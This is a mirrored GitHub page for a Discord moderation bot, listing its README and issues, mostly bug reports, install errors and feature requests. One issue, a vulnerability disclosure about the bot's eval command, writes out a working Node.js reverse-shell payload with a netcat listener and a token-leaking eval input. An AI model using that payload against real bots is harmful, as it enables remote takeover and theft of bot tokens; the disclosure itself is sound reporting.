Giter VIP home page Giter VIP logo

discordbot's Introduction

Hi ๐Ÿ‘‹

I'm TrueWinter (he/they), a software and website developer from South Africa. I also find and responsibly disclose security vulnerabilities.

I develop a lot of software that does various tasks. Many of my repositories contain websites or web APIs, but I do also write Minecraft server plugins and occasionally apps. Not all of the work I do is on my profile though (and much of my work is private), but I also publish code in the organizations I'm in.

discordbot's People

Contributors

chinesemarc avatar truewinter avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

discordbot's Issues

Getting an error for the `reason` command

When I ban/Unban someone, It tells me to use the reason command.
I use !reason 2 Test for example and it says:
TypeError: Cannot read property '0' of undefined
Around the

        modLog.fetchMessages(caseLog.id).then(logMsg => {
            const embed = logMsg.embeds[0];
            embedSan(embed);

section
If anyone could help me get this working I'll be super delighted!
Thanks, DieselJS

Can't add more pages to the dashboard.

Hello. I've been trying to add more pages to the web dashboard of the bot, but it seems that it isn't working. I still haven't tried to add an ejs page, but the app.get events I've added aren't firing.

For example, I have this code for an API I'm developing:

app.get("/api/:action", async (req, res) => {
let action = req.params.action
	  if (action) {
   //Alot of code
	  } else {
      res.send('Invalid API call method.')
  }
});

And I already tried to change async (req, res) => { to async function (req, res) and still don't work. Any idea of what's going on?

Login does not work

The login button on the dashboard does not run properly and always comes into an error

Help command

Hey sorry to bother you again. I was wondering if you could help me with something. I am trying to change the help command. I want to remove the descriptions and show just the command names like this: ban, unban, mute etc. I am having a hard time figuring that out.

This is what I have atm:
`
const Discord = require('discord.js');

exports.run = (client, message, args, level) => {
var time = Date.now();

if (!args[0]) {
	const myCommands = client.commands.filter(c => c.conf.permLevel <= level);
	const commandNames = myCommands.keyArray();
	const longest = commandNames.reduce((long, str) => Math.max(long, str.length), 0);
	let currentCategory = '';
	//var embed = new Discord.RichEmbed();
	//let output = `= Command List =\n\n[Use [prefix]help <commandname> for details]\n`;
	var embeds = [];
	embeds[0] = new Discord.RichEmbed();
	embeds[0].setTitle(`Commands List`);
	embeds[0].setDescription(' \n (Use [prefix]help [command name] for details)');
	embeds[0].setAuthor(client.user.username, client.user.avatarURL || client.user.defaultAvatarURL);
	const sorted = myCommands.sort((p, c) => p.help.category > c.help.category ? 1 : -1);

	//console.log(sorted);
	//console.log(sorted.entries());

	var i = 0;
	var eN = 0;
	sorted.forEach(c => {
		i++;
		//console.log(i);
		if (i % 18 === 0) {
			eN++;
			//console.log(eN);
			embeds[eN] = new Discord.RichEmbed();
			//console.log(embeds);
		}
		const cat = c.help.category.toProperCase();
		if (currentCategory !== cat) {
			//if (message.channel.type !== 'dm' || cat !== 'Moderation') {
			//output += `\n== ${cat} ==\n`;
			embeds[eN].addField('===', `**${cat}**`);
			//}
			//output += `\n== ${cat} ==\n`;
			currentCategory = cat;
		}
		//if (cat === 'Moderation' && message.channel.type === 'dm') {
		//output += '';
		//} else {
		//output += `${c.help.name}${' '.repeat(longest - c.help.name.length)} :: ${c.help.description}\n`;
		embeds[eN].addField(`${c.help.name}`/*${' '.repeat(longest - c.help.name.length)}`, c.help.description*/);
		//}
	});

	//if (output.length > 1800) { // Had to add this
	//var chunks = [];

	//for (var i = 0, charsLength = output.length; i < charsLength; i += 1800) {
	//chunks.push('```' + output.substring(i, i + 1800) + '```'); // eslint-disable-line prefer-template, no-useless-escape, newline-per-chained-call
	//}

	//console.log(chunks);
	//for (var c = 0; c < chunks.length; c++) {
	//endOutput += chunks[i];
	if (message.channel.type === 'dm' || client.settings.get(message.guild.id).sendHelp === 'channel') {
		//message.channel.send(output, {code:'asciidoc', split: true}).catch(console.error); 
		//message.channel.send({ embed, split:true}).catch((err) => { console.error(err); });
		var eNumber = 0;
		embeds.forEach((e) => {
			eNumber++;
			e.setColor('11806A');
			if (eNumber === embeds.length) {
				e.setFooter(`Time taken: ${Date.now() - time}ms`);
			}
			message.channel.send({ embed: e }).catch((err) => { console.error(err); });
		});
	} else {
		//message.author.send(output, {code:'asciidoc', split: true}).catch(console.error);
		//message.channel.send({ embed, split:true}).catch((err) => { console.error(err); });
		embeds.forEach((e) => {
			e.setColor('11806A');
			e.setFooter(`Time taken: ${Date.now() - time}`);
			message.channel.send({ embed: e }).catch((err) => { console.error(err); });
		});
		message.react('๐Ÿ‘');
	}
	//}

	//var helpEmbed = new Discord.RichEmbed()
	//.setTitle('Commands')
	//.setDescription(`\`\`\`asciidoc\n${output}\`\`\``);
	//}
} else {
	let command = args[0];
	if (client.commands.has(command) || client.aliases.has(command)) {
		command = client.commands.get(command) || client.commands.get(client.aliases.get(command));
		//message.channel.send(`= ${command.help.name} = \n${command.help.description}\nusage::${command.help.usage}`, { code: 'asciidoc' });
		var aliases;
		if (command.conf.aliases.length === 0) {
			aliases = 'NONE';
		} else {
			aliases = command.conf.aliases;
		}

		//console.log(aliases);
		var hEmbed = new Discord.RichEmbed()
			.setTitle(`Command Help: ${command.help.name}`)
			.addField('Description', command.help.description)
			.addField('Category', command.help.category)
			.addField('Usage', command.help.usage)
			.addField('Enabled', command.conf.enabled)
			.addField('Disabled in DMs', command.conf.guildOnly)
			.addField('Aliases', aliases)
			.addField('Permission Level', command.conf.permLevel)
			.setFooter(`Time taken: ${Date.now() - time}ms`);

		if (message.channel.type === 'dm' || client.settings.get(message.guild.id).sendHelp === 'channel') {
			message.channel.send({ embed: hEmbed });
		} else {
			message.author.send({ embed: hEmbed });
			message.react('๐Ÿ‘');
		}
	} else {
		return message.reply('Command not found');
	}
}

};

exports.conf = {
enabled: true,
guildOnly: false,
aliases: ['h', 'halp'],
permLevel: 0
};

exports.help = {
name: 'help',
category: 'System',
description: 'Displays all the available commands for your permission level.',
usage: 'help\nhelp [command]'
};
`

I can't figure out what I am doing wrong cause it outputs this:
image

Critical Vulnerability

You have a error in your eval function,
possibly the discord/google or any token could be leaked,
also a reverse sheel could be opened!
For example:
!eval client.token.replace('x','X')
returns the token, but with a Capital X.
You could start a reverse shell with:
!eval var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(port,"your ip", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);})
but before you need to start a Server in the bash:
nc -l 9090

I would suggest that you remove the eval function

Bot Database

Change the bot database to use something like SQLite.
This will allow for much better data storage, such as support for better warnings and being able to store cases in a database which will help with issues seen recently that have caused the new case number system to not work as intended.
(That's going to push the next version back a bit)

[email protected] install: `prebuild-install || node-gyp rebuild`

jsnpm ERR! code ELIFECYCLE
npm ERR! errno 1
npm ERR! [email protected] install: prebuild-install || node-gyp rebuild
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the [email protected] install script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.

npm ERR! A complete log of this run can be found in:
npm ERR! C:\Users\Keaton Oliver\AppData\Roaming\npm-cache_logs\2019-06-04T19_36_07_442Z-debug.log

Could someone please help.

Stats page

TypeError: moment.duration(...).format is not a function
Hmm``

[email protected] install: `prebuild-install || node-gyp rebuild`

gyp ERR! build error
gyp ERR! stack Error: C:\Program Files (x86)\Microsoft Visual Studio\2017\BuildTools\MSBuild\15.0\Bin\MSBuild.exe failed with exit code: 1
gyp ERR! stack at ChildProcess.onExit (C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\lib\build.js:262:23)
gyp ERR! stack at ChildProcess.emit (events.js:198:13)
gyp ERR! stack at Process.ChildProcess._handle.onexit (internal/child_process.js:248:12)
gyp ERR! System Windows_NT 10.0.17763
gyp ERR! command "C:\Program Files\nodejs\node.exe" "C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\bin\node-gyp.js" "rebuild"
gyp ERR! cwd C:\Users\Administrator\Desktop\Moi\node_modules\leveldown
gyp ERR! node -v v10.16.0
gyp ERR! node-gyp -v v3.8.0
gyp ERR! not ok
npm WARN [email protected] requires a peer of erlpack@hammerandchisel/erlpack but none is installed. You must install peer dependencies yourself.
npm WARN [email protected] requires a peer of node-opus@^0.2.6 but none is installed. You must install peer dependencies yourself.
npm WARN [email protected] requires a peer of opusscript@^0.0.3 but none is installed. You must install peer dependencies yourself.
npm WARN [email protected] requires a peer of sodium@^2.0.1 but none is installed. You must install peer dependencies yourself.
npm WARN [email protected] requires a peer of libsodium-wrappers@^0.5.4 but none is installed. You must install peer dependencies yourself.
npm WARN [email protected] requires a peer of uws@^0.14.5 but none is installed. You must install peer dependencies yourself.
npm WARN [email protected] No repository field.

npm ERR! code ELIFECYCLE
npm ERR! errno 1
npm ERR! [email protected] install: prebuild-install || node-gyp rebuild
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the [email protected] install script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.

npm ERR! A complete log of this run can be found in:
npm ERR! C:\Users\Administrator\AppData\Roaming\npm-cache_logs\2019-07-06T22_47_11_763Z-debug.log

Uncaught Exception: TypeError: Cannot read property 'has' of undefined

I was wondering if you could help me fix this problem.

Uncaught Exception: TypeError: Cannot read property 'has' of undefined

it's happening in the message.js file in the events folder with this:

if (client.talkedRecently.has(message.author.id)) { return message.reply(You need to wait ${parseInt(guildSettings.commandTimeout)}ms seconds between each command); }

Error

Uncaught Exception: TypeError: guildSettings.swearWords.someword is not a function
how this possible ?

Error when user joins server

The guildMemberAdd event gives an error and in some cases even crashes the bot due to bad code. Fixed in a dev version of the bot, the change will probably only be pushed in bot version 4.0.0.

setGame not working

setGame does not work (no playing status on startup) probably due to Discord API changes. Have to implement a workaround for this issue.

I broke the config

I don't know why I did it, but instead of doing require(./config.js), I did require(./config) which broke the code as there is not a file called config. Will fix later today.

Bot Dashboard

I hosted this bot on Heroku, and noded, it was online and working, just dashboard not work when we host somewhere else than locally , when i host locally its running fine, but on heroku it ..... Any idea whats it?

Login redirects to broken URL

I am running this bot on Glitch and the both the login button and links take me to a bad URL.
There are no errors in the logs and I have not changed anything in the dashboard.js file.

Images for context:
image
Screen Shot 2019-07-19 at 9 06 29 PM

I can tell that the client id is in the wrong place in the url but everything is in the correct order in dashboard.js

.

Don't worry too much about this issue. Had some issues with GitHub which required opening an issue but it seems to be resolved now.

Music Commands

Already have the code from a music bot, just need to make it compatible with this bot and add it in. Will probably add a config option in so that the music part of the bot can be disabled (useful for if it is not needed or if the server hosting the bot is not powerful enough for it)

Feature Request: `update` command

When used, this command will get the latest commit from GitHub and restart the bot. After the bot has restarted, the user will have to run a command such as update guildSettings to update the per guild settings if there are any new configuration options for these.

!play is broken

!play is broken, it expects YouTube video ID only and gives error in console.

Per server settings not working

Per server settings have a strange behaviour where if a setting is changed for a server (using the set command and probably also the dashboard), all settings including the defaultSettings in memory is changed. Noticed this in the dev version of the bot

Feature Request: Web Dashboard

Will possibly not be added due to the time that it would take. Unsure

UPDATE: OAuth2 has been partly completed
UPDATE 2: A dashboard for another bot has been released that is compatible with the bot that this bot is based on

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.